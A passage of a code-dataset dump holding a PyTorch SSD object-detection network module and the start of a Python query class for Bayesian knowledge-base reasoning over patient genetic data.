continue\r\n\r\n\r\nstart_stream()\r\n","sub_path":"src/Stream_Script.py","file_name":"Stream_Script.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"587134639","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.init as init\nimport cv2\n\nvgg_base = {\n '300': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'C', 512, 512, 512, 'M',\n 512, 512, 512], # output channel\n '320': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'C', 512, 512, 512, 'M',\n 512, 512, 512],\n '512': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'C', 512, 512, 512, 'M',\n 512, 512, 512],\n}\n\nextras = {\n '300': [256, 'S', 512, 128, 'S', 256, 128, 256, 128, 256],\n '512': [256, 'S', 512, 128, 'S', 256, 128, 'S', 256, 128, 'S', 256],\n}\nmbox = {\n 'VOC_300': [4, 6, 6, 6, 4, 4], # number of boxes per feature map location\n 'MOT_300': [5, 5, 5, 5, 5, 5],\n 'VOC_512': [6, 6, 6, 6, 6, 4, 4],\n}\n\ndef xavier(param):\n init.xavier_uniform_(param)\n\ndef orthogonal(param):\n init.orthogonal_(param)\n\ndef weights_init(m):\n if isinstance(m, nn.Conv2d):\n xavier(m.weight.data)\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\ndef conv_weights_init(m):\n if isinstance(m, nn.Conv2d):\n xavier(m.weight)\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\ndef orthogonal_weights_init(m):\n if isinstance(m, nn.Conv2d):\n orthogonal(m.weight.data)\n m.bias.data.fill_(1)\n\ndef net_init(ssd_net, backbone,resume_from_ssd='ssd', attention=False, pm=0.0, refine=False):\n if resume_from_ssd != 'ssd':\n if attention:\n print('Initializing Attention weights...')\n ssd_net.attention.apply(conv_weights_init)\n else:\n print('Initializing extra, loc, conf weights...')\n # initialize newly added layers' weights with xavier method\n if backbone in ['RFB_VGG'] or backbone[:6] == 'ResNet':\n ssd_net.extras.apply(conv_weights_init)\n ssd_net.loc.apply(conv_weights_init)\n ssd_net.conf.apply(conv_weights_init)\n if pm != 0.0:\n ssd_net.pm.apply(conv_weights_init)\n elif backbone[:9] == 'RefineDet':\n ssd_net.extras.apply(weights_init)\n ssd_net.trans_layers.apply(weights_init)\n ssd_net.latent_layrs.apply(weights_init)\n ssd_net.up_layers.apply(weights_init)\n ssd_net.odm_loc.apply(weights_init)\n ssd_net.odm_conf.apply(weights_init)\n if refine:\n ssd_net.arm_loc.apply(weights_init)\n if attention:\n ssd_net.arm_att.apply(conv_weights_init)\n else:\n ssd_net.arm_conf.apply(weights_init)\n if pm != 0.0:\n ssd_net.pm.apply(conv_weights_init)\n else:\n ssd_net.extras.apply(weights_init)\n ssd_net.loc.apply(weights_init)\n ssd_net.conf.apply(weights_init)\n if attention:\n print('Initializing Attention weights...')\n ssd_net.attention.apply(conv_weights_init)\n# This function is derived from torchvision VGG make_layers()\n# https://github.com/pytorch/vision/blob/master/torchvision/models/vgg.py\ndef vgg(cfg, i, batch_norm=False, pool5_ds=False):\n layers = []\n in_channels = i\n for v in cfg:\n if v == 'M':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n elif v == 'C':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True)]\n else:\n conv2d = nn.Conv2d(in_channels, v, kernel_size=3, padding=1)\n if batch_norm:\n layers += [conv2d, nn.BatchNorm2d(v), nn.ReLU(inplace=True)]\n else:\n layers += [conv2d, nn.ReLU(inplace=True)]\n in_channels = v\n if pool5_ds:\n pool5 = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n else:\n pool5 = nn.MaxPool2d(kernel_size=3, stride=1, padding=1)\n conv6 = nn.Conv2d(512, 1024, kernel_size=3, padding=6, dilation=6)\n conv7 = nn.Conv2d(1024, 1024, kernel_size=1)\n # conv7 = nn.Conv2d(1024, 512, kernel_size=1)\n if batch_norm:\n layers += [pool5, conv6, nn.BatchNorm2d(conv6.out_channels),\n nn.ReLU(inplace=True), conv7, nn.BatchNorm2d(conv7.out_channels), nn.ReLU(inplace=True)]\n else:\n layers += [pool5, conv6,\n nn.ReLU(inplace=True), conv7, nn.ReLU(inplace=True)]\n return layers\n\n\ndef add_extras(cfg, i, batch_norm=False, size=300):\n # Extra layers added to VGG for feature scaling\n layers = []\n in_channels = i\n flag = False\n for k, v in enumerate(cfg):\n if in_channels != 'S':\n if v == 'S':\n if batch_norm:\n layers += [nn.Conv2d(in_channels, cfg[k + 1],\n kernel_size=(1, 3)[flag], stride=2, padding=1), nn.BatchNorm2d(cfg[k + 1])]\n else:\n layers += [nn.Conv2d(in_channels, cfg[k + 1],\n kernel_size=(1, 3)[flag], stride=2, padding=1)]\n else:\n if batch_norm and k in [7]:\n layers += [nn.Conv2d(in_channels, v, kernel_size=(1, 3)[flag]), nn.BatchNorm2d(v)]\n\n else:\n layers += [nn.Conv2d(in_channels, v, kernel_size=(1, 3)[flag])]\n flag = not flag\n in_channels = v\n if size == 512:\n layers.append(nn.Conv2d(in_channels, 128, kernel_size=1, stride=1))\n layers.append(nn.Conv2d(128, 256, kernel_size=4, stride=1, padding=1))\n return layers\n\nclass ConvAttention(nn.Module):\n\n def __init__(self, inchannel, residual=False, channel=False, spatial_size=None):\n super(ConvAttention, self).__init__()\n self.residual = residual\n self.channel = channel\n self.attention = nn.Sequential(\n nn.Conv2d(inchannel, int(inchannel/4), kernel_size=1, stride=1, padding=0, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(int(inchannel/4), int(inchannel/4), kernel_size=3, stride=1, padding=1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(int(inchannel/4), int(inchannel/4), kernel_size=3, stride=1, padding=1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(int(inchannel/4), 1, kernel_size=1, stride=1, padding=0, bias=False),\n nn.Sigmoid()\n )\n if channel and spatial_size:\n self.channel_att = nn.Sequential(\n nn.AvgPool2d(spatial_size),\n nn.Conv2d(inchannel, int(inchannel/2), kernel_size=1, stride=1, padding=0, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(int(inchannel / 2), int(inchannel / 4), kernel_size=1, stride=1, padding=0, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(int(inchannel / 4), int(inchannel / 2), kernel_size=1, stride=1, padding=0, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(int(inchannel / 2), inchannel, kernel_size=1, stride=1, padding=0, bias=False),\n nn.Sigmoid()\n )\n\n def forward(self, feats):\n s = self.attention(feats)\n x = s * feats\n if self.residual:\n x = x + feats\n if self.channel:\n c = self.channel_att(x)\n x = x * c.expand_as(x)\n return x, s\n\n# https://www.jianshu.com/p/72124b007f7d\nclass ConvLSTMCell(nn.Module):\n \"\"\"\n Generate a convolutional LSTM cell\n \"\"\"\n\n def __init__(self, input_size, hidden_size, phase='train'):\n super(ConvLSTMCell, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.Gates = nn.Conv2d(input_size + hidden_size, 4 * hidden_size, 3, padding=1)\n self.phase = phase\n\n def forward(self, input_, prev_state):\n\n # get batch and spatial sizes\n batch_size = input_.size()[0]\n spatial_size = input_.size()[2:]\n\n # generate empty prev_state, if None is provided\n if prev_state is None:\n state_size = [batch_size, self.hidden_size] + list(spatial_size)\n prev_state = (\n torch.zeros(state_size, requires_grad=(True, False)[self.phase == 'test']).cuda(),\n torch.zeros(state_size, requires_grad=(True, False)[self.phase == 'test']).cuda(),\n )\n\n prev_cell, prev_hidden = prev_state\n # prev_hidden_drop = F.dropout(prev_hidden, training=(False, True)[self.phase=='train'])\n # data size is [batch, channel, height, width]\n stacked_inputs = torch.cat((F.dropout(input_, p=0.2, training=(False,True)[self.phase=='train']), prev_hidden), 1)\n # stacked_inputs = torch.cat((input_, prev_hidden), 1)\n gates = self.Gates(stacked_inputs)\n\n # chunk across channel dimension\n in_gate, remember_gate, out_gate, cell_gate = gates.chunk(4, 1)\n\n # apply sigmoid non linearity\n in_gate = F.sigmoid(in_gate)\n remember_gate = F.sigmoid(remember_gate)\n out_gate = F.sigmoid(out_gate)\n\n # apply tanh non linearity\n cell_gate = F.tanh(cell_gate)\n\n # compute current cell and hidden state\n cell = (remember_gate * prev_cell) + (in_gate * cell_gate)\n hidden = out_gate * F.tanh(cell)\n\n return cell, hidden\n\n def init_state(self, input_):\n batch_size = input_.size()[0]\n spatial_size = input_.size()[2:]\n state_size = [batch_size, self.hidden_size] + list(spatial_size)\n state = (\n torch.zeros(state_size, requires_grad=(True, False)[self.phase == 'test']).cuda(),\n torch.zeros(state_size, requires_grad=(True, False)[self.phase == 'test']).cuda(),\n )\n return state\n\nclass ConvJANET(nn.Module):\n \"\"\"\n Generate a convolutional JANET cell\n \"\"\"\n\n def __init__(self, input_size, hidden_size, phase='train'):\n super(ConvJANET, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.Gates = nn.Conv2d(input_size + hidden_size, 2 * hidden_size, 3, padding=1)\n self.phase = phase\n\n def forward(self, input_, prev_state):\n\n # get batch and spatial sizes\n batch_size = input_.size()[0]\n spatial_size = input_.size()[2:]\n\n # generate empty prev_state, if None is provided\n if prev_state is None:\n state_size = [batch_size, self.hidden_size] + list(spatial_size)\n prev_state = (torch.zeros(state_size, requires_grad=(True, False)[self.phase == 'test']).cuda(),)\n\n prev_cell = prev_state[-1]\n # data size is [batch, channel, height, width]\n stacked_inputs = torch.cat((F.dropout(input_, p=0.2, training=(False,True)[self.phase=='train']), prev_cell), 1)\n # stacked_inputs = torch.cat((input_, prev_hidden), 1)\n gates = self.Gates(stacked_inputs)\n\n # chunk across channel dimension\n remember_gate, cell_gate = gates.chunk(2, 1)\n\n # apply sigmoid non linearity\n remember_gate = F.sigmoid(remember_gate)\n # apply tanh non linearity\n cell_gate = F.tanh(cell_gate)\n\n # compute current cell and hidden state\n cell = (remember_gate * prev_cell) + ((1-remember_gate) * cell_gate)\n\n return (cell, )\n\n def init_state(self, input_):\n batch_size = input_.size()[0]\n spatial_size = input_.size()[2:]\n state_size = [batch_size, self.hidden_size] + list(spatial_size)\n state = (torch.zeros(state_size, requires_grad=(True, False)[self.phase == 'test']).cuda(),)\n return state\n\nclass ConvGRUCell(nn.Module):\n def __init__(self, input_size, hidden_size, kernel_size=3, cuda_flag=True, phase='train'):\n super(ConvGRUCell, self).__init__()\n self.input_size = input_size\n self.cuda_flag = cuda_flag\n self.hidden_size = hidden_size\n self.kernel_size = kernel_size\n self.ConvGates = nn.Conv2d(self.input_size + self.hidden_size, 2 * self.hidden_size, 3,\n padding=self.kernel_size // 2)\n self.Conv_ct = nn.Conv2d(self.input_size + self.hidden_size, self.hidden_size, 3, padding=self.kernel_size // 2)\n self.phase = phase\n\n def forward(self, input, pre_state):\n if pre_state is None:\n size_h = [input.size()[0], self.hidden_size] + list(input.size()[2:])\n pre_state = (torch.zeros(size_h, requires_grad=(True, False)[self.phase == 'test']).cuda(),)\n\n hidden = pre_state[-1]\n c1 = self.ConvGates(torch.cat((F.dropout(input,p=0.2,training=(False,True)[self.phase=='train']), hidden), 1))\n (rt, ut) = c1.chunk(2, 1)\n reset_gate = F.sigmoid(rt)\n update_gate = F.sigmoid(ut)\n gated_hidden = torch.mul(reset_gate, hidden)\n p1 = self.Conv_ct(torch.cat((input, gated_hidden), 1))\n ct = F.tanh(p1)\n next_h = torch.mul(update_gate, hidden) + (1 - update_gate) * ct\n return (next_h, )\n\n def init_state(self, input):\n size_h = [input.size()[0], self.hidden_size] + list(input.size()[2:])\n state = torch.zeros(size_h, requires_grad=(True, False)[self.phase == 'test']).cuda(),\n return state\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self, inplanes, planes, stride=1, downsample=None):\n super(Bottleneck, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm2d(planes)\n self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride,\n padding=1, bias=False)\n self.bn2 = nn.BatchNorm2d(planes)\n self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(planes * 4)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n#\nclass ResNetSSD(nn.Module):\n\n def __init__(self, block, layers, extra_cfg, mb_cfg, num_classes):\n self.inplanes = 64\n super(ResNetSSD, self).__init__()\n self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3,\n bias=False)\n self.bn1 = nn.BatchNorm2d(64)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n self.layer1 = self._make_layer(block, 64, layers[0])\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2)\n self.layer3 = self._make_layer(block, 256, layers[2], stride=2)\n self.layer4 = self._make_layer(block, 512, layers[3], stride=1)\n self.avgpool = nn.MaxPool2d(kernel_size=3, stride=1, padding=1)\n self.conv5_pre = nn.Conv2d(2048, 1024, kernel_size=1, bias=False)\n self.bn5_pre = nn.BatchNorm2d(self.conv5_pre.out_channels)\n self.conv5 = nn.Conv2d(1024, 1024, kernel_size=3, padding=1, dilation=1)\n self.bn5 = nn.BatchNorm2d(2048)\n self.size = 512\n # extra\n extra_layers = []\n flag = False\n in_channels = self.conv5.out_channels\n for k, v in enumerate(extra_cfg):\n if in_channels != 'S':\n if v == 'S':\n extra_layers += [nn.Sequential(nn.Conv2d(in_channels, extra_cfg[k + 1],\n kernel_size=(1, 3)[flag], stride=2, padding=1), nn.BatchNorm2d(extra_cfg[k + 1]), nn.ReLU(inplace=True))]\n else:\n extra_layers += [nn.Sequential(nn.Conv2d(in_channels, v, kernel_size=(1, 3)[flag]), nn.BatchNorm2d(v), nn.ReLU(inplace=True))]\n flag = not flag\n in_channels = v\n if self.size == 512:\n extra_layers.append(nn.Sequential(nn.Conv2d(in_channels, int(extra_cfg[-1]/2), kernel_size=1, stride=1), nn.BatchNorm2d(int(extra_cfg[-1]/2)),\n nn.ReLU(inplace=True)))\n extra_layers.append(nn.Sequential(nn.Conv2d(int(extra_cfg[-1]/2), extra_cfg[-1], kernel_size=4, stride=1, padding=1), nn.BatchNorm2d(extra_cfg[-1]),\n nn.ReLU(inplace=True)))\n\n self.extra_layers = nn.ModuleList(extra_layers)\n print(self.extra_layers)\n\n # multi_box\n loc_layers = []\n conf_layers = []\n out_channels = [self.layer2[-1].conv3.out_channels, self.conv5.out_channels,\n self.extra_layers[1][0].out_channels, self.extra_layers[3][0].out_channels,\n self.extra_layers[5][0].out_channels, self.extra_layers[7][0].out_channels]\n if self.size == 512:\n out_channels.append(self.extra_layers[9][0].out_channels)\n for o, v in zip(out_channels, mb_cfg):\n loc_layers += [nn.Conv2d(o, v * 4, kernel_size=3, padding=1)]\n conf_layers += [nn.Conv2d(o, v * num_classes, kernel_size=3, padding=1)]\n self.loc_layers = nn.ModuleList(loc_layers)\n self.conf_layers = nn.ModuleList(conf_layers)\n\n def _make_layer(self, block, planes, blocks, stride=1):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes, planes * block.expansion,\n kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(planes * block.expansion),\n )\n\n layers = []\n layers.append(block(self.inplanes, planes, stride, downsample))\n self.inplanes = planes * block.expansion\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes))\n\n return nn.Sequential(*layers)\n\n## prediction module in DSSD\nclass PreModule(nn.Module):\n\n def __init__(self, inchannl, channel_increment_factor):\n super(PreModule, self).__init__()\n self.inchannel = inchannl\n self.pm = nn.Sequential(\n nn.Conv2d(inchannl, inchannl, kernel_size=1),\n nn.Conv2d(inchannl, inchannl, kernel_size=1),\n nn.Conv2d(inchannl, int(inchannl*channel_increment_factor), kernel_size=1)\n )\n self.extend = nn.Conv2d(inchannl, int(inchannl*channel_increment_factor), kernel_size=1)\n\n def forward(self, x):\n return self.extend(x) + self.pm(x)\n\n# if __name__ == '__main__':\n# # # resnet101:[3,4,22,3], resnet50:[3,4,6,3], resnet18:[2,2,2,2]\n# img = cv2.resize(cv2.imread('../demo/comp/ILSVRC2015_val_00020001/3.jpg'), (512,512))\n# img_torch = torch.from_numpy(img).unsqueeze(0).permute(0, 3, 1, 2).type(torch.FloatTensor).repeat(2,1,1,1)\n# img_torch -= 128.\n# img_torch /= 255.\n# print(img_torch.size())\n# extra_cfg = [256, 'S', 512, 256, 'S', 512, 256, 'S', 512, 256, 'S', 512] #[256, 'S', 512, 256, 'S', 512, 256, 512, 256, 512]\n# mb_cfg = [6, 6, 6, 6, 6, 4, 4] # [4, 6, 6, 6, 4, 4]\n# model = ResNetSSD(Bottleneck, [2, 2, 2, 2], extra_cfg, mb_cfg, 3)\n# x = model.conv1(img_torch)\n# x = model.bn1(x)\n# x = model.maxpool(x)\n#\n# x = model.layer1(x)\n# x = model.layer2(x)\n# x = model.layer3(x)\n# x = model.layer4(x)\n#\n# x = model.avgpool(x)\n# x = model.conv5_pre(x)\n#\n# x = model.conv5(x)\n#\n# for i, ex in enumerate(model.extra_layers):\n# print(i)\n# x = ex(x)\n#\n# pass","sub_path":"model/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":19793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"412545411","text":"'''\nSource code developed by DI2AG.\nThayer School of Engineering at Dartmouth College\nAuthors: Dr. Eugene Santos, Jr\n Mr. Chase Yakaboski,\n Mr. Gregory Hyde,\n Dr. Keum Joo Kim\n'''\n\n\nimport os\nimport sys\nimport pickle\nimport json\nimport csv\nimport io\nimport contextlib\nimport pandas as pd\nimport random\n\nclass Query:\n def __init__(self,\n evidence=None,\n targets=None,\n marginal_evidence=None,\n type='updating',\n name='query0',\n dynamic_evidence=None,\n dynamic_targets=None):\n self.evidence = evidence\n self.targets = targets\n self.marginal_evidence = marginal_evidence\n self.type = type\n self.name = name\n self.dynamic_evidence = dynamic_evidence\n self.dynamic_targets = dynamic_targets\n self.result = None\n self.bkb = None\n self.independ_queries = None\n self.independ_result = None\n self.compute_time = -1\n self.patient_data = None\n self.interpolation = None\n self.target_strategy = None\n self.gene_var_direct = None\n self.max_new_ev = None\n self.from_joint_reasoner = False\n\n def make_bogus_updates(self):\n bogus_updates = {}\n for target in self.dynamic_targets:\n for state in ['True', 'False']:\n comp_name = ' '.join(target)\n prob = random.random()\n if comp_name not in bogus_updates:\n bogus_updates[comp_name] = {state: prob}\n else:\n bogus_updates[comp_name][state] = 1 - prob\n return bogus_updates\n\n def save(self, directory, only_json=False):\n if not only_json:\n #-- Save a pickle file\n pickle_filename = os.path.join(directory, '{}.pk'.format(self.name))\n with open(pickle_filename, 'wb') as pickle_file:\n pickle.dump(file=pickle_file, obj=self)\n\n #-- Save out each piece in seperate files\n if self.evidence is not None:\n with open(os.path.join(directory, '{}.evid'.format(self.name)), 'w') as f_:\n for comp_name, state_name in self.evidence.items():\n f_.write('{},{}\\n'.format(comp_name, state_name))\n\n if self.targets is not None:\n with open(os.path.join(directory, '{}.targ'.format(self.name)), 'w') as f_:\n for comp_name in self.targets:\n f_.write('{}\\n'.format(comp_name))\n\n #-- Save out bkb\n if self.bkb is not None:\n self.bkb.save('{}.bkb'.format(self.name), pickle=True)\n\n #-- Save out JSON query info\n json_dict = {'evidence': self.evidence,\n 'targets': self.targets,\n 'type': self.type,\n 'dynamic_evidence': self.dynamic_evidence,\n 'dynamic_targets': self.dynamic_targets}\n\n #-- Potentially save out JSON Results\n if self.result is not None:\n inode_contrib = self.result.process_inode_contributions(include_srcs=False)\n result_dict = {'result': {'Updates': self.result.process_updates(),\n 'Contributions': {' '.join(target): df.to_dict()\n for target, df in self.result.contribs_to_dataframes(inode_contrib).items()},\n 'Explanations': self.jsonExplanations(),\n 'Report': self.getReportString()}}\n json_dict.update(result_dict)\n elif self.independ_result is not None:\n result_dict = {'result': {'Updates': self.independ_result,\n 'Contributions': {' '.join(target): df.to_dict()\n for target, df in self.getIndependentContributions().items()},\n 'Explanations': self.jsonExplanations(),\n 'Report': self.getReportString()}}\n\n json_dict.update(result_dict)\n json_file = os.path.join(directory, '{}.json'.format(self.name))\n with open(json_file, 'w') as f_:\n json.dump(json_dict, f_)\n\n if only_json:\n return json_file\n else:\n return pickle_filename, json_file\n\n def read(self, query_file, file_format='pickle'):\n if file_format == 'pickle':\n with open(query_file, 'rb') as qf_:\n return pickle.load(qf_)\n elif file_format == 'json':\n with open(query_file, 'r') as qf_:\n query_dict = json.load(qf_)\n return Query(**query_dict)\n else:\n raise ValueError('Unrecognized file format: {}'.format(file_format))\n\n def getIndependentContributions(self):\n independent_contribs = dict()\n contribs = list()\n for q_ in self.independ_queries:\n contribs.append(q_.result.process_inode_contributions(include_srcs=False))\n target_intersect = set.intersection(*[set(contrib.keys()) for contrib in contribs])\n for target in target_intersect:\n target_dict = dict()\n for contrib in contribs:\n for inode, cont in contrib[target].items():\n if inode in independent_contribs:\n target_dict[inode] += cont\n target_dict[inode] /= 2\n else:\n target_dict[inode] = cont\n independent_contribs[target] = target_dict\n dfs = dict()\n for target, contrib_dict in independent_contribs.items():\n data_dict = {'I-node': list(), 'Contribution': list()}\n for inode, contrib in contrib_dict.items():\n data_dict['I-node'].append('{} = {}'.format(*inode))\n data_dict['Contribution'].append(contrib)\n df = pd.DataFrame(data=data_dict)\n df.sort_values(by=['Contribution'], inplace=True, ascending=False)\n df.set_index(['I-node'], inplace=True)\n dfs[target] = df\n return dfs\n\n def getExplanations(self, contributions_include_srcs=True, contributions_top_n_inodes=None, contributions_ignore_prefixes=None):\n explain_dict = dict()\n if self.independ_result is not None:\n explain_dict['Assumptions'] = 'Query assumes independence between genetic evidence.'\n explain_dict['Contributions Analysis'] = ['No sensitivity information is a available in the contributions field.']\n mostSigPatsIndepend = dict()\n query_patients = dict()\n for q in self.independ_queries:\n pat_dict = q.getSourcePatientAnalysis()\n for strat, target_data in pat_dict.items():\n for target, data in target_data.items():\n if strat not in query_patients:\n query_patients[strat] = dict()\n if data is not None:\n if target in query_patients:\n query_patients[strat][target].append(set([pat_id for pat_id in data]))\n else:\n query_patients[strat][target] = [set([pat_id for pat_id in data])]\n mostSigPatsIndepend.update(q.getSourcePatientAnalysis())\n pat_intersect = dict()\n for strat, target_pats in query_patients.items():\n if strat not in pat_intersect:\n pat_intersect[strat] = dict()\n for target, pats in target_pats.items():\n pat_intersect[strat][target] = set.intersection(*pats)\n for strat, target_data in mostSigPatsIndepend.items():\n for target, data in target_data.items():\n if data is not None and strat == 'Most Significant Patients':\n unsig_pats = set(data.keys()) - pat_intersect[strat][target]\n for pat_id in unsig_pats: del mostSigPatsIndepend[target][pat_id]\n explain_dict['Patient Analysis'] = mostSigPatsIndepend\n explain_dict['Interpolation Strategy'] = 'Used gene and variant independence as interpolation strategy.'\n return explain_dict\n else:\n explain_dict['Assumptions'] = 'Query does not assume independence between genetic evidence.'\n inode_dict = self.result.process_inode_contributions(include_srcs=contributions_include_srcs,\n top_n_inodes=contributions_top_n_inodes,\n ignore_prefixes=contributions_ignore_prefixes,\n remove_tuples=True)\n explain_dict['Contributions Analysis'] = inode_dict\n '''\n for target, contrib_dict in inode_dict.items():\n target_str = ' '.join(target)\n most_sig_inodes = list()\n max_contrib = -1\n for inode, contrib in contrib_dict.items():\n inode_str = ' '.join(inode)\n if 'Source' in inode_str or target_str in inode_str or 'Collection' in inode_str:\n continue\n if contrib > max_contrib:\n most_sig_inodes = [inode_str]\n max_contrib = contrib\n elif contrib == max_contrib:\n most_sig_inodes.append(inode_str)\n else:\n continue\n contrib_explain = 'The most sensitive variables for {} are {}'.format(target_str,\n ', '.join(most_sig_inodes))\n explain_dict['Contributions Analysis'].append(contrib_explain)\n '''\n explain_dict['Patient Analysis'] = self.getSourcePatientAnalysis()\n if self.interpolation is None or self.interpolation == 'standard':\n explain_dict['Interpolation Strategy'] = 'No interpolation stradegy was used.'\n elif self.interpolation == 'independence':\n explain_dict['Interpolation Strategy'] = 'Independent interpolation strategy was such that all genetic pieces of evidence \\\n and the product of their probabilities were used in determing the posterior distribtion on the targets.'\n elif self.interpolation == 'correlation':\n explain_dict['Interpolation Strategy'] = dict()\n explain_dict['Interpolation Strategy']['Description'] = 'Interpolated using mutation correlations.'\n explain_dict['Interpolation Strategy']['Correlation Contribution Chain'] = self.getPatientXExplanations()\n else:\n raise ValueError('Interpolation stradegy: {} was not recognized.'.format(self.interpolation))\n return explain_dict\n\n def chainSearch(self, head, chain, target, snode_contribs):\n for tail_list, contrib in snode_contribs[target][head].items():\n for tail in tail_list:\n tail_comp, tail_state = tail\n if '_mut_' in tail_comp and 'Source' not in tail_comp:\n chain.append((tail_comp, contrib))\n self.chainSearch(tail, chain, target, snode_contribs)\n return chain\n\n def getPatientXExplanations(self):\n snode_contribs = self.result.process_contributions()\n patientX_chain = dict()\n for target, head_tail_contrib in snode_contribs.items():\n patientX_chain[target] = dict()\n for evid_comp, evid_state in self.evidence.items():\n chain = self.chainSearch((evid_comp, evid_state), list(), target, snode_contribs)\n if len(chain) > 0:\n patientX_chain[target][(evid_comp, evid_state)] = chain\n return patientX_chain\n\n def getSourcePatientAnalysis(self):\n inode_dict = self.result.process_inode_contributions()\n data = {'All Involved Patients': dict(), 'Most Significant Patients': dict()}\n for target, contrib_dict in inode_dict.items():\n target_str = '{} = {}'.format(target[0], target[1])\n src_hashs = list()\n for inode, contrib in contrib_dict.items():\n comp_name, state_name = inode\n if 'Source' in comp_name:\n src_split1 = state_name.split('_')[-1]\n src_split2 = src_split1.split(',')\n sources = set()\n for src_hash_str in src_split2:\n try:\n sources.add(int(src_hash_str))\n except ValueError:\n continue\n if len(sources) > 0:\n src_hashs.append(sources)\n #-- All involved Patients\n src_hashs_union = set.union(*src_hashs)\n #-- Most Significant Patients\n src_hashs_intersection = set.intersection(*src_hashs)\n if len(src_hashs_union) == 0:\n data['All Involved Patients'][target_str] = None\n else:\n data['All Involved Patients'][target_str] = {self.patient_data[src_hash]['patient_id']: self.patient_data[src_hash]\n for src_hash in src_hashs_union}\n if len(src_hashs_intersection) == 0:\n data['Most Significant Patients'][target_str] = None\n else:\n data['Most Significant Patients'][target_str] = {self.patient_data[src_hash]['patient_id']: self.patient_data[src_hash]\n for src_hash in src_hashs_intersection}\n return data\n\n def jsonExplanations(self, contributions_include_srcs=True, contributions_top_n_inodes=None, contributions_ignore_prefixes=None):\n explain = self.getExplanations(contributions_include_srcs=contributions_include_srcs,\n contributions_top_n_inodes=contributions_top_n_inodes,\n contributions_ignore_prefixes=contributions_ignore_prefixes)\n jsonSigPatients = dict()\n for analysis_type, infer_pat_data_dict in explain['Patient Analysis'].items():\n if infer_pat_data_dict is not None:\n jsonSigPatients[analysis_type] = dict()\n for target_str, pat_data_dict in infer_pat_data_dict.items():\n jsonSigPatients[analysis_type][target_str] = dict()\n if pat_data_dict is not None:\n for patient_idx, data_dict in pat_data_dict.items():\n jsonSigPatients[analysis_type][target_str][patient_idx] = dict()\n if not data_dict is None:\n for info_name, data in data_dict.items():\n if type(data) == tuple:\n data = list(data)\n jsonSigPatients[analysis_type][target_str][patient_idx][info_name] = data\n explain['Patient Analysis'] = jsonSigPatients\n return explain\n\n def printExplanations(self):\n explain = self.getExplanations()\n string = 'Assumptions: {}\\n'.format(explain['Assumptions'])\n string += 'Sensitivity:\\n'\n for sense in explain['Sensitivity']:\n string += '\\t{}.\\n'.format(sense)\n string += 'Patient Analysis:\\n'\n for strat, target_patient_data in explain['Patient Analysis'].items():\n string += '{}:\\n'.format(strat)\n for target, pat_data_dict in target_patient_data.items():\n if pat_data_dict is not None:\n string += '{}\\n'.format(target)\n for patient_id, data_dict in pat_data_dict.items():\n string += '\\t{}:\\n'.format(patient_id)\n for info_name, data in data_dict.items():\n if type(data) == list or type(data) == tuple:\n data_str = ','.join([str(val) for val in data])\n if len(data_str) > 100:\n data_str = data_str[:100] + '...'\n string += '\\t\\t{} = {}\\n'.format(info_name, data_str)\n elif type(data) == dict:\n continue\n else:\n string += '\\t\\t{} = {}\\n'.format(info_name, data)\n string += 'Interpolation Strategy Details:\\n'\n if type(explain['Interpolation Strategy']) == dict:\n for label, info in explain['Interpolation Strategy'].items():\n if type(info) == dict:\n string += '{}:\\n'.format(label)\n for target, evid_chain in info.items():\n string += '\\tTarget: {} = {}\\n'.format(target[0], target[1])\n for evid, chain in evid_chain.items():\n string += '\\t\\tEvidence: {} = {}\\n'.format(evid[0], evid[1])\n string += '\\t\\tChain: {}\\n'.format(chain)\n else:\n string += '{}: {}\\n'.format(label, info)\n else:\n string += str(explain['Interpolation Strategy']) + '\\n'\n return string\n\n def checkAndAdjustEvidence(self):\n #print(self.evidence)\n allVar = True\n #list of var types we want\n vars = list()\n for key in self.evidence.keys():\n if key[0:4] != 'var_':\n allVar = False\n vars.append(key[4:])\n #print(vars)\n if allVar and len(vars) != 